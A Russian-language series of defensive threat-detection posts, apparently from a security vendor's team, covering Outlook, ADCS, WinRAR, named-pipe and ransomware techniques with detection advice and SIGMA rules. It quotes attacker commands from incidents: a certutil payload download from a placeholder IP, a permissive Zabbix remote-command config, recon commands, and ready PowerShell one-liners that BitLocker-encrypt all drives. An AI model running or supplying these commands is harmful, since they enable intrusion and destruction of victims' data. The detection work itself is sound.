Уязвимость CVE-2024-21378 позволяет выполнить произвольный код в системе, где установлен MS Outlook. А всё потому, что Exchange и Outlook, общаясь по протоколу MAPI, могут пересылать друг другу всякое разное и вообще немыслимое.

Например, можно создать собственный тип сообщения и указать клиенту Outlook, что для отрисовки этого сообщения следует использовать некую особую форму. И эту форму тоже можно передать адресату: такому сообщению соответствует класс IPM.Microsoft.FolderDesign.FormsDenoscription. А сама форма представляет собой DLL-библиотеку, которая хранится как вложение в сообщении.

Чтобы эксплуатировать уязвимость, злоумышленник отправляет жертве форму, которая открывает определённый класс сообщений. А затем отправляет письмо-триггер, принадлежащее к этому классу сообщений. В результате Outlook загружает вредоносную форму (см. скриншот).

Наш эксперт Александр Родченко проанализировал процесс эксплуатации этой уязвимости и написал утилиту, которая сканирует скрытые сообщения и выявляет попытки атаки. Подробности – в статье по ссылке.

Некоторые умельцы до сих пор используют старую уязвимость Windows, связанную с групповыми политиками. Механизм Group Policy Preferences (GPP) позволяет админам добавлять новых локальных пользователей на каждый хост в домене. Пароли при этом шифруются, но их можно найти и расшифровать (подтехника T1552.006). Невзирая на патч MS14-025, инциденты по-прежнему случаются.

Наша рекомендация по детекту: создайте учётку-ловушку, подложив её данные в xml-файл на SYSVOL. И мониторьте использование этой учётки. Подробности – в статье Глеба Иванова.

Большинство ИБ-экспертов с удовольствием применяют фреймворк MITRE ATT&CK в семейных отношениях (Initial Access, Defense Evasion, Command&Control) и на работе. Но Матрица большая, и у каждого Нео возникают вопросы: как её всю покрыть, и надо ли всю, и с чего начать, и с какой скоростью и с какой глубиной покрывать?

О том, как приоритизировать эти задачи, мы расскажем в отдельной статье и на вебинаре. А сейчас – основные полезные идеи.

Чтобы измерить ваш уровень ATT&CK-успеха и его неминуемый будущий рост, нужно сначала все записать и посчитать. Например, ваш SOC может автоматизировать оценку источников данных и покрытия по техникам MITRE в вашей организации, используя инструмент DeTT&CT. А затем полученные данные можно визуализировать с помощью MITRE ATT&CK Navigator: он покажет, какие техники ваш SOC может обнаружить при текущем наборе источников данных. Пример – на скриншоте выше. Закрашенное – это ваши возможности по детектированию, а незакрашенное – возможности для неизбежного личностного роста.

А когда вы понимаете эти возможности в комбинации с актуальными угрозами (ваш threat intelligence, ну или просто возьмите рансомвару для начала), то можете сформировать приоритеты разработки детектов, на основе уже посчитанных параметров visibility_score и attacker_score:

(1) Самые релевантные и критичные техники MITRE (из вашего TI), для детектирования которых ничего не нужно менять в ваших подходах журналирования.
(2) Критичные техники, но для их детектирования необходимо добавить логов, написать коннекторов и прочее.
(3) Менее популярные техники с уже готовыми журналами.

Более подробно о том, как формировать и приоритизировать бэклог разработки детектов по MITRE, мы расскажем на вебинаре, который пройдёт 9 июля в 16:00 МСК на платформе BrightTalk (после будет и статья): https://kas.pr/o1os

Операционка Windows даёт возможность зарегистрировать как службу исполняемый файл или скрипт для закрепления в системе и обеспечить стабильность восстановления в случае его завершения. Но не только добрые IT-специалисты пользуются этим удобством.

Злоумышленники в своих атаках применяют для решения этой задачи легитимные утилиты, например NSSM, SRVANY из набора Microsoft Windows Resource Kit, или SRVANY-NG. Эти утилиты регистрируются в системе в качестве сервиса и берут на себя роль управления запуском, привилегиями, зависимостями и восстановлением исполняемого файла. А ещё эти утилиты позволяют скрыть целевой исполняемый файл или выполняемую команду в событии создания службы в журналах Windows — чтобы обойти детектирование со стороны SOC.

Как же их детектировать? Нужно мониторить не только события создания сервисов, но и ключи реестра, связанные с параметрами сервисов. Подробности — в статье Дмитрия Лифанова.

Сейчас расскажем, как мы починяем детектирующие правила (ханты) с помощью их конверсии – то есть знаний о том, насколько правила проваливаются в алерты, которые говорят о настоящем инциденте. Повышение конверсии позволяет уменьшить объём работы аналитика и чётче найти инцидент.

На одну и ту же реализацию техник атакующих мы разрабатываем N правил обнаружения, основанных на разных подходах: на продуктовых детектах, на TTPs, с применением ML, и так далее. Такой метод затрудняет обход обнаружения. Очевидная идея для повышения конверсии – найти такие комбинации правил, которые по отдельности показывают плохую конверсию, но в комбинации с другими – практически никогда не ошибаются.

Примерами правил с околонулевой конверсией (из нашей работы) могут быть suspicious_process_spawning_as_trusted_installer, unusual_dynamic_assemblies, regsvr32_execute_from_public_directory и другие (см. скриншот выше).

А вот пример комбинации. Монтирование папки ADMIN$ (mount_remote_admin_share_as_disk) само по себе демонстрирует нулевую конверсию. Однако в комбинации с использованием psexec и сбором информации о сети (mount_remote_admin_share_as_disk, network_connections_discovery, process_started_by_psexec) это правило даёт конверсию 100%.

В статье Сергея Солдатова более детально показано, как мы ищем кандидатов на комбинацию с низкоконверсионными правилами, чтобы оправдать расход электричества при использовании этих правил на обработке телеметрии.

Экспертов по безопасности тоже иногда атакуют. А для атак через Visual Studio есть целая россыпь векторов.

Недавно наши аналитики разбирали атаку, направленную на SUO-файлы, где хранятся различные параметры и настройки пользователя проектов VS. Парсится файл с использованием BinaryFormatter.Deserialize() – и можно применять Ysoserial. Это приводит к тому, что при запуске проекта VS (даже такого, в котором не содержится ни строчки кода) будет запускаться пейлоуд, что содержится в SUO-файле. Сам Microsoft предусмотрительно не рекомендует использовать подобные методы обработки данных, но для себя они делают исключение.

Скачали VS проект? Удалите SUO-файл (...\.vs\[Project name]\v17\.suo). Часто открываете внешние проекты? Настройте trusted locations для VS IDE. Подробный разбор атаки и защиты – в статье Глеба Иванова.

Иногда наши эксперты разговаривают не только кодами, но и голосом. В подкасте «Смени пароль» – серьёзный разговор про становление героя, который более 20 лет занимается оффенсивом (конечно же, только этические пентесты и «красные команды»). Как всё начиналось, как устроена эта профессия сейчас и с какими проблемами сталкиваются пентестеры в своей работе – рассказывает Александр Зайцев:

«В школе тебе дарят 286 компьютер, работающий на частоте 12,5 МГц, его потенциально можно подключить к Интернету по диалапу на скорости 9600 бод. Правда, диалап очень платный, надо искать демо-доступы, обзвонить кучу систем, найти гейты в сеть X.25, оттуда искать возможность зацепиться по PPP и вообще понять, где ты находишься и куда тебя выпустит… Тогда это был необходимый клубок вещей, которые нужно знать, если ты хотел получать доступ к растущим объёмам недоступной ранее информации. Сама среда задавала высокий порог входа.»

Слушать тут: https://podcast.ru/e/7Y9dddSWOjk

А другой выпуск того же подкаста посвящён тяжёлой доле специалистов по AppSec, которые анализируют защищённость веб-приложений:

«Печально, когда заказчик не верит в уязвимость и не может понять, как воспроизвести атаку. Ему уже и скрипт скинули, а он всё говорит, что у него есть защита от такого брутфорса. Приходится очень долго объяснять, даже записывать видео с атакой».

Слушать тут: https://podcast.ru/e/9dn8sQEP7wP

Повысить привилегии через Active Directory Certificate Services (ADCS) можно с помощью многих разных техник. Сегодня разбираем, как детектировать атаку ADCS ESC13.

Вкратце: класс Issuance Policy в Active Directory содержит атрибут msDS-OIDToGroupLink, и этот атрибут можно использовать для линковки Issuance Policy с группой AD. Таким образом, системы будут авторизовать пользователей, как будто они включены в группу. Работать это будет в случае, если пользователь предоставит сертификат с необходимой Issuance Policy.

Из-за схожести таких билетов с золотыми, для их выявления можно воспользоваться утилитой FindGT Александра Родченко. Либо использовать скрипт Check-ADCSESC13 для аудита небезопасных конфигураций в AD, который предлагают сами авторы техники ESC13.

А чтобы детектировать атаку во время эксплуатации, нужно наблюдать за изменениями соответствующих объектов AD и ADCS. В частности, можно получить событие добавления Issuance Policy в Certificate Template – и посмотреть, есть ли у него линк с какой-то группой. Также необходимо следить за изменением атрибута msDS-OIDToGroupLink. И ещё полезно проверять опубликованные Certificate Templates с потенциально эксплуатируемой конфигурацией, содержащие Issuance Policy – и следить, какие пользователи их запрашивают.

Подробнее об этой атаке и методах детектирования – в статье Дмитрия Щетинина.

Если вы по-прежнему мечтаете разложить потенциальные угрозы для вашей организации по матрице MITRE ATT&CK, оценить покрытие и приоритизировать задачи, но при этом вы пропустили наш вебинар по этой теме – не отчаивайтесь!

Теперь полную инструкцию можно прочитать в статье Андрея Тамойкина и Романа Назарова:
https://securelist.ru/detection-engineering-backlog-prioritization/109883/

Мы уже рассказывали про туннель через QEMU, а теперь – ещё одна интересная техника туннелирования от атакующих, с использованием VSCode (Visual Studio). Работает так:

– Злоумышленник включает опцию «Туннель разработки» из графического интерфейса VSCode на скомпрометированной машине, либо включает эту опцию с помощью консольной версии (её легче загрузить на хост без VSCode):

code.exe tunnel [service install] [--name "tunnel-name"] 

– Поднимается туннель с легитимными серверами Microsoft Azure (домен *.tunnels.api.visualstudio.com).

– Атакующий подключается по ссылкам вида vscode.dev/tunnel/<victim's hostname>/<tunnel name>.

– IP атакующего не видно, а сам трафик зашифрован внутри SSH-over-HTTPS.

Что ловить защитникам:
– Запуски code.exe с ключиком tunnel в командной строке
– Создание файла code_tunnel.json в %UserProfile%\.vscode-cli\
– Цепочку процессов code.exe -> cmd.exe -> node.exe -> winptyagent.exe
– Домены в трафике или резолвах DNS *.tunnels.api.visualstudio.com и *.devtunnels.ms

Больше деталей про туннели через VSCode и не только – на конференции OFFZONE 23 августа в 13:00, в докладе Кирилла Магаськина "LOLApps: подножный корм хакера".

А помните, мы упоминали инцидент, когда атакующий получил доступ к почте сотрудника, и дождавшись переписки с аттачем, добавил вредоносный макрос в документ? Очень аккуратная атака: никаких подозрительных ссылок, никаких посторонних адресов. Просто один реальный сотрудник пишет в рассылке «пришлите ваши правки к документу», а другой сотрудник посылает в ответ тот же документ с правками. После этого в корпоративную сеть попадает бэкдор, и атакующий развивает атаку.

В рамках этого инцидента было одно событие, которое часто приводит к дискуссиям: всегда ли заход с non-Windows хоста на Windows-систему по RDP является алертом? Понятно, что так могут делать и легитимные админы. Однако подобные заходы всегда привлекают внимание ИБ-экспертов.

Как обнаружить такую активность? Это непросто:

– Вследствие различий в реализации определённых протоколов на Linux и Windows можно искать такие аномалии в трафике с помощью IDS.
– Некоторые утилиты могут оставлять артефакты в штатных событиях Windows (например, имя хоста-источника в событиях логона).
– Перспективным выглядит использование ML для определения нестандартных (новых) пользователей и источников логона на хосте. Или просто чётко заданные правила с источниками админских машин, а всё остальное – алерт.
– Лучше всего иметь инвентаризацию для обогащения источника и назначения событий ИБ типом ОС.

Остальные детали инцидента и расследования – в докладе Алины Сухановой «Взлом через MS Exchange» (OFFZONE, 23 августа, 13:40)

Мейнфреймы IBM на базе операционки z/OS могут показаться вымершими динозаврами из глубокого прошлого. Однако велики шансы, что в сердце ваших бизнес-процессов жужжат именно эти шкафы. Их можно встретить во многих крупных организациях, где требуется обработка большого количества транзакций (банки, биржи, аэропорты и др.)

Из-за высокой стоимости и узкой специализации мейнфреймы редко встречаются в проектах по анализу защищённости. Поэтому в публичном доступе очень мало знаний о том, как тестировать мейнфреймы на проникновение и как детектировать атаки на них.

Наш эксперт Денис Степанов собирает такие знания – всё, что понадобится пентестеру, чтобы получить контроль над мейнфреймом, повысить привилегии, найти возможные вектора для бокового перемещения и эксфильтровать данные:
https://securelist.ru/zos-mainframe-pentesting/110237/

Продолжаются эксплуатации 1-day уязвимости в WinRAR через социалки. Взято из самых свежих инцидентов у наших клиентов: архив с эксплуатацией CVE-2023-38831 для первоначального пробива. Более того – это самый используемый вектор по нашей статистке за прошлый год, и в этом году он тоже в ТОП-3.

Ловим такой пробив, собирая EDR-like телеметрию и/или делаем аудит запуска процессов (4688). Обращаем внимание на:
– файлы с двойным расширением и/или пробелом в расширениях: ".pdf. cmd"
– запуски от winrar-процесса дочерних исполнений: cmd, powershell, ...

Если вы увидели такое, что делать:
– Найти письмо/письма, связанные с этими подозрительными событиями,
– Идентифицировать все пересылки этих писем внутри/вне организации,
– Найти всех получателей таких писем и составить список всех хостов, где их могли открывать,
– Собрать и сохранить письма с нагрузками, а также данные, залитые на хосты после запуска нагрузки из письма,
– Запустить всё собранное в песочнице или разобрать руками, чтобы вытащить индикаторы: c2, пути, способы закрепления, ...
– Проверить все индикаторы по всей организации,
– Реагировать,
– И да, на любом этапе можно подключать внешнюю помощь по расследованию и реагированию.

В прошлом посте описывали пробив через уязвимость WinRAR, который используется многими атакующими в этом году. Например, хакерская группировка Head Mare часто применяет такую технику для компрометации своих жертв.

С деталями работы этой группировки, атакующей компании в России и Беларуси, можно ознакомиться в отдельном отчёте наших коллег. А здесь мы сконцентрируемся на таком интересном вопросе: какой самый дешёвый способ обнаружить атаку Head Mare до этапа влияния?

На этапе разведки (при включённом журналировании командных строк или EDRе) мы увидим вот такие команды:

cmd /c “echo %USERDOMAIN%”
arp -a
cmd /c “cd /d $selfpath && whoami”
cmd /c “cd /d $appdata && powershell Get-ScheduledTask -TaskName “WindowsCore””

Чтобы установить, насколько критичны подобные события и как далеко продвинулся атакующий в инциденте, необходимо посмотреть:
– привилегии пользователя, от которого запускали команды,
– что потенциально могло утечь из памяти (lsass) и/или hive-ов реестра с кредами.

Если есть привилегированные пользователи домена, то оперативность и размах реагирования должны быть масштабными: например, не просто саспенды и смена паролей пользователям, а отключение сетевой связности. И самое главное – необходимо сразу начинать восстанавливать хронологию атаки до первоначального пробива.

Безусловно, это не весь арсенал команд из разведки – пример большого списка смотрите здесь. Но мы отметили самые распространённые команды, которые будут использованы для первого получения доступа.

Среди интересных инцидентов прошлого года – выявлен очень незаметный способ закрепиться и латерально перемещаться. Небольшое количество изменений в системе, вне поверхности обычного абузного легитимного win-based и под покрывалом обычного софта.

Атакующие приносят нагрузки:

certutil.exe -urlcache -split -f hxxp://<Public IP>/<file with payload>

Используют возможности популярной системы мониторинга Zabbix с конфигурацией, разрешающей удалённое выполнение команд:

EnableRemoteCommands=1
LogFile=0
Server=0.0.0.0/0
ListenPort=5432

Для Zabbix-агентов на фаерволе злоумышленники открывают порт 5432 с красивым и правильным именем PGSQL.

В результате использования этих техник атакующие, очень похожие на группировку Flax Typhoon, более двух лет остаются незамеченными в системе – пока не приходят эксперты по реагированию на инциденты. Подробнее об этой атаке, а также о других интересных инцидентах, расследованных нашими коллегами в прошлом году:
https://securelist.com/incident-response-interesting-cases-2023/113611/

Говорят, в нашей индустрии не хватает SOC-аналитиков. Может быть, молодёжь просто не знает, что это за зверь? На этот случай наш эксперт Сергей Солдатов написал подробное разоблачение мифов о работе в SOC.

Если вкратце, SOC-аналитик – это хороший способ войти в сферу ИБ. Но способ достаточно требовательный к кругозору: от хардовых инженерных скиллов до софтовых коммуникационных (см. скриншот).

В комментариях к статье возник интересный вопрос: если джуниор может за четыре года вырасти до тимлида, то через несколько лет в компании будет множество новых кандидатов в тимлиды. Куда же девать старых тимлидов?

Мнение Сергея по этому вопросу читайте на Хабре. Мы же здесь добавим лишь один совет: смотрите на диаграмму карьерного пути и дорисовывайте дуги в другие организации (существующие или новые). Мы за здоровую конкуренцию. Да и вообще путь настоящего самурая – открыть свой собственный бутик или ресторан.

Многие эксплоиты для локального повышения привилегий в Windows используют следующую комбинацию:
1. Заставить привилегированный сервис записать что-то в Named Pipe, подконтрольный атакующему.
2. Имперсонировать LocalSystem с помощью WinAPI ImpersonateNamedPipeClient.

Для осуществления первого шага атакующие часто используют RPC вызовы (например, RpcRemoteFindFirstPrinterChangeNotification, EfsRpcOpenFileRaw, NetrFileGetInfo, и т.п.). Однако предполагается, что привилегированные сервисы будут взаимодействовать с известными служебными Named Pipes, такими как \\.\pipe\spoolss, \\.\pipe\efsrpc, \\.\pipe\srvsvc и т.п. Каким же образом атакующие получают контроль над системными пайпами?

Никаким. В ОС Windows существует особенность интерпретации hostname в RPC вызовах: если хостнейм содержит прямой слеш /, то само поле пройдет валидацию, слеши преобразуются в обратные, а имя пайпа будет считаться от окончания реального hostname. То есть если вызов должен писать в \\.\pipe\spoolss, то при указании HOSTNAME как HOSTNAME/pipe/testtest, вызов будет писать в пайп \\HOSTNAME\pipe\testtest\pipe\spoolss.

Мы можем детектировать все такие методы на одном общем свойстве, которое атакующие не могут изменить – строка pipe встречается в названии создаваемого пайпа два раза. Есть два способа реализации такого ханта:
1. Детектировать, если подстрока pipe встречается в имени пайпа два раза (или один раз, в зависимости от телеметрии: например, 17 событие Sysmon обрезает начальное \\.\pipe). Но этот способ может привести к ложным срабатываниям, поскольку существует софт, который создает пайпы со строкой pipe в середине имени.
2. Детектировать создание пайпов по формату [буквы или цифры]\pipe\<системное_имя>. Это потенциально покрывает меньшее количество сценариев, однако значительно сокращает вероятность ложных срабатываний.

Делимся двумя готовыми SIGMA-правилами из нашего SIGMA feed:

noscript: Privilege Escalation Named Pipes (potato attacks) exact
id: 4d945de4-4bce-416c-b84c-693a563af091
status: stable
denoscription: This rule detects named pipes created by  
tags:
    - attack.privilege_escalation
    - attack.t1068
author: Kaspersky
logsource:
    product: windows
    category: pipe_created
detection:
    selection:
        PipeName|re: 
         - '.*[a-zA-Z0-9]\\pipe\\epmapper'
         - '.*[a-zA-Z0-9]\\pipe\\lsass'
         - '.*[a-zA-Z0-9]\\pipe\\samr'
         - '.*[a-zA-Z0-9]\\pipe\\initshut'
         - '.*[a-zA-Z0-9]\\pipe\\ntsvcs'
         - '.*[a-zA-Z0-9]\\pipe\\scerpc'
         - '.*[a-zA-Z0-9]\\pipe\\sql\\query'
         - '.*[a-zA-Z0-9]\\pipe\\MSSQL\$.+?\\sql\\query'
         - '.*[a-zA-Z0-9]\\pipe\\netlogon'
         - '.*[a-zA-Z0-9]\\pipe\\spoolss'
         - '.*[a-zA-Z0-9]\\pipe\\atsvc'
         - '.*[a-zA-Z0-9]\\pipe\\netdfs'
         - '.*[a-zA-Z0-9]\\pipe\\eventlog'
         - '.*[a-zA-Z0-9]\\pipe\\termsrv'
         - '.*[a-zA-Z0-9]\\pipe\\TSVCPIPE-.*'
         - '.*[a-zA-Z0-9]\\pipe\\svcctl'
         - '.*[a-zA-Z0-9]\\pipe\\DAV\sRPC\sSERVICE'
         - '.*[a-zA-Z0-9]\\pipe\\srvsvc'
         - '.*[a-zA-Z0-9]\\pipe\\wkssvc'
         - '.*[a-zA-Z0-9]\\pipe\\browser'
    condition: selection
falsepositives: Unlikely
level: high

noscript: Privilege Escalation Named Pipes (potato attacks)
id: 8294ec37-a4cf-40d7-8a3f-0e0fea8fe6e9
status: stable
denoscription: This rule detects named pipes created by  
tags:
    - attack.privilege_escalation
    - attack.t1068
author: Kaspersky
logsource:
    product: windows
    category: pipe_created
detection:
    selection:
        PipeName|re: '.*[a-zA-Z0-9]\\pipe\\.+'
    condition: selection
falsepositives: Legitimate software (e.g. Avaya) might do this.
level: high

Мы уже рассказывали, что вымогатели любят использовать Bitlocker для шифрования своих жертв. Этот инструмент установлен практически на всех современных ОС Windows, является легитимной компонентой ОС (не детектируется антивирусами), надёжно шифрует диски (без ключа расшифровать невозможно) и сильно затрудняет расследование атаки, поскольку все криминалистические артефакты (журналы ОС, реестр, файловая система) оказываются полностью зашифрованными.

А ещё Bitlocker может быть активирован удалённо с помощью простой PowerShell-команды. Мы встречали использование таких команд:

$Drives=Get-PSDrive -PSProvider FileSystem;foreach($Drive in $Drives) { $Drive=$Drive.Name+':';$PlainPassword='<пароль>'; $SecurePassword = $PlainPassword | ConvertTo-SecureString -AsPlainText -Force;  enable-bitlocker -Pin $SecurePassword -Mount $Drive -TPMandPinProtector -skiphardwaretest -UsedSpaceOnly}

$Drives=Get-PSDrive -PSProvider FileSystem;foreach($Drive in $Drives) { $Drive=$Drive.Name+':';$PlainPassword='<пароль>'; $SecurePassword = $PlainPassword | ConvertTo-SecureString -AsPlainText -Force;  enable-bitlocker -password $SecurePassword -Mount $Drive -PasswordProtector -skiphardwaretest -UsedSpaceOnly}

if (Get-Command Get-ClusterResource -errorAction SilentlyContinue) { foreach($Cluster in Get-ClusterResource) { Suspend-ClusterResource $Cluster; $PlainPassword='<пароль>'; $SecurePassword = $PlainPassword | ConvertTo-SecureString -AsPlainText -Force;  enable-bitlocker  $Cluster.SharedVolumeInfo.FriendlyVolumeName -password $SecurePassword -PasswordProtector -skiphardwaretest -UsedSpaceOnly; Resume-ClusterResource $Cluster} }

Что делать защите? Во-первых, с помощью групповой политики можно включить сохранение ключей расшифровки Bitlocker в Active Directory. Однако, если злоумышленники получили права доменного админа, то они могут отключить эту настройку.

Во-вторых, чтобы детектировать подобную атаку, нужно отслеживать в EDR/SIEM запуск командлета enable-bitlocker и утилиты manage-bde.exe.

Больше подробностей о техниках вымогателей и о методах борьбы с ними – в докладе Григория Саблина на Volga CTF (Самара, 18 сентября).

Бывало ли у вас так, что в логах веб-приложения начинают появляться запросы к несуществующим путям? А может, бывало даже так, что ваше приложение начинает на них отвечать что-то непонятное? И даже делает запросы ко внутренним ресурсам? Такое было возможно в прошлом, но если вы следуете всем лучшим практикам миркосервисной архитектуры, то вы должны быть защищены от подобного. Или нет?

Если вы при этом ещё и видите в своей системе детекта создание файлов вида /tmp/.java_pid17234 и .attach17234, то выбирайте плейбук по реагированию с воблой: вас заливают PIWAS-ом. Это новая тулза по загрузке шеллов и соксов в память процессов для пентестеров – Process Injected Webshell And Socks.

Объяснение этой и других похожих техник эксплуатации вы можете услышать завтра, в докладе Павла Топоркова на VolgaCTF (Самара, 17 сентября, 15:00).